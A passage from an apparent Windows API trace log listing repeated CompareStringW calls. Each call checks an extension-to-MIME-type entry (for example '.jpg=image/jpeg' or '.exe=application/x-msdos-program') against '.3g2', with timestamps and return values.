cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ief=image/ief", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ico=image/x-icon", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jng=image/x-jng", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg=image/jpeg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpeg=image/jpeg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpe=image/jpeg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pat=image/x-coreldrawpattern", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pcx=image/pcx", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pbm=image/x-portable-bitmap", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pgm=image/x-portable-graymap", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pict=image/x-pict", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".png=image/x-png", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pnm=image/x-portable-anymap", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pntg=image/x-macpaint", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ppm=image/x-portable-pixmap", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".psd=image/x-psd", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".qtif=image/x-quicktime", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ras=image/x-cmu-raster", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".rf=image/vnd.rn-realflash", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".rgb=image/x-rgb", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".rp=image/vnd.rn-realpix", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".sgi=image/x-sgi", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".svg=image/svg+xml", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".svgz=image/svg+xml", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".targa=image/x-targa", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".tif=image/x-tiff", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wbmp=image/vnd.wap.wbmp", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".webp=image/webp", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xbm=image/xbm", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xbm=image/x-xbitmap", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xpm=image/x-xpixmap", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xwd=image/x-xwindowdump", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".323=text/h323", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 1 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xml=text/xml", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".uls=text/iuls", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".txt=text/plain", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".rtx=text/richtext", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wsc=text/scriptlet", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".rt=text/vnd.rn-realtext", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".htt=text/webviewhtml", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".htc=text/x-component", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".vcf=text/x-vcard", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".asf=video/x-ms-asf", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".asx=video/x-ms-asf", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi=video/x-msvideo", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".dl=video/dl", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".dv=video/dv", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".flc=video/flc", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".fli=video/fli", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".gl=video/gl", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".lsf=video/x-la-asf", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".lsx=video/x-la-asf", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mng=video/x-mng", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp2=video/mpeg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp3=video/mpeg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp4=video/mpeg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mpeg=video/x-mpeg2a", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mpa=video/mpeg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mpe=video/mpeg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mpg=video/mpeg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ogv=video/ogg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".moov=video/quicktime", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mov=video/quicktime", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mxu=video/vnd.mpegurl", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".qt=video/quicktime", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".qtc=video/x-qtc", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".rv=video/vnd.rn-realvideo", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ivf=video/x-ivf", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".webm=video/webm", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wm=video/x-ms-wm", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wmp=video/x-ms-wmp", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wmv=video/x-ms-wmv", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wmx=video/x-ms-wmx", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wvx=video/x-ms-wvx", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".rms=video/vnd.rn-realvideo-secure", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".asx=video/x-ms-asf-plugin", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".movie=video/x-sgi-movie", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".7z=application/x-7z-compressed", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".a=application/x-archive", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".aab=application/x-authorware-bin", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".aam=application/x-authorware-map", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".aas=application/x-authorware-seg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".abw=application/x-abiword", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ace=application/x-ace-compressed", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ai=application/postscript", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".alz=application/x-alz-compressed", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ani=application/x-navi-animation", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".arj=application/x-arj", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".asf=application/vnd.ms-asf", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bat=application/x-msdos-program", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bcpio=application/x-bcpio", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".boz=application/x-bzip2", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bz=application/x-bzip", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bz2=application/x-bzip2", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".cab=application/vnd.ms-cab-compressed", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".cat=application/vnd.ms-pki.seccat", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ccn=application/x-cnc", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".cco=application/x-cocoa", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".cdf=application/x-cdf", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".cer=application/x-x509-ca-cert", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".chm=application/vnd.ms-htmlhelp", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".chrt=application/vnd.kde.kchart", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".cil=application/vnd.ms-artgalry", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".class=application/java-vm", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".com=application/x-msdos-program", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".clp=application/x-msclip", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".cpio=application/x-cpio", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".cpt=application/mac-compactpro", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".cqk=application/x-calquick", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".crd=application/x-mscardfile", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".crl=application/pkix-crl", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".csh=application/x-csh", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".dar=application/x-dar", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".dbf=application/x-dbase", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".dcr=application/x-director", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".deb=application/x-debian-package", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".dir=application/x-director", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".dist=vnd.apple.installer+xml", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".distz=vnd.apple.installer+xml", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".dll=application/x-msdos-program", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".dmg=application/x-apple-diskimage", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".doc=application/msword", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".dot=application/msword", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".dvi=application/x-dvi", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".dxr=application/x-director", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ebk=application/x-expandedbook", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".eps=application/postscript", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".evy=application/envoy", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".exe=application/x-msdos-program", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".fdf=application/vnd.fdf", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".fif=application/fractals", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".flm=application/vnd.kde.kivio", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".fml=application/x-file-mirror-list", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".gzip=application/x-gzip", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".gnumeric=application/x-gnumeric", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".gtar=application/x-gtar", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".gz=application/x-gzip", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".hdf=application/x-hdf", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".hlp=application/winhlp", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".hpf=application/x-icq-hpf", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".hqx=application/mac-binhex40", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".hta=application/hta", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ims=application/vnd.ms-ims", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ins=application/x-internet-signup", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".iii=application/x-iphone", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".iso=application/x-iso9660-image", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jar=application/java-archive", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".karbon=application/vnd.kde.karbon", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".kfo=application/vnd.kde.kformula", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".kon=application/vnd.kde.kontour", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".kpr=application/vnd.kde.kpresenter", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".kpt=application/vnd.kde.kpresenter", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".kwd=application/vnd.kde.kword", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".kwt=application/vnd.kde.kword", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".latex=application/x-latex", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".lha=application/x-lzh", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".lcc=application/fastman", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".lrm=application/vnd.ms-lrm", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".lz=application/x-lzip", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".lzh=application/x-lzh", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".lzma=application/x-lzma", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".lzo=application/x-lzop", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".lzx=application/x-lzx", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m13=application/x-msmediaview", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m14=application/x-msmediaview", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mpp=application/vnd.ms-project", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mvb=application/x-msmediaview", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".man=application/x-troff-man", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mdb=application/x-msaccess", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".me=application/x-troff-me", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ms=application/x-troff-ms", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".msi=application/x-msi", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mpkg=vnd.apple.installer+xml", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mny=application/x-msmoney", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".nix=application/x-mix-transfer", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".o=application/x-object", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".oda=application/oda", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".odb=application/vnd.oasis.opendocument.database", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".odc=application/vnd.oasis.opendocument.chart", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] 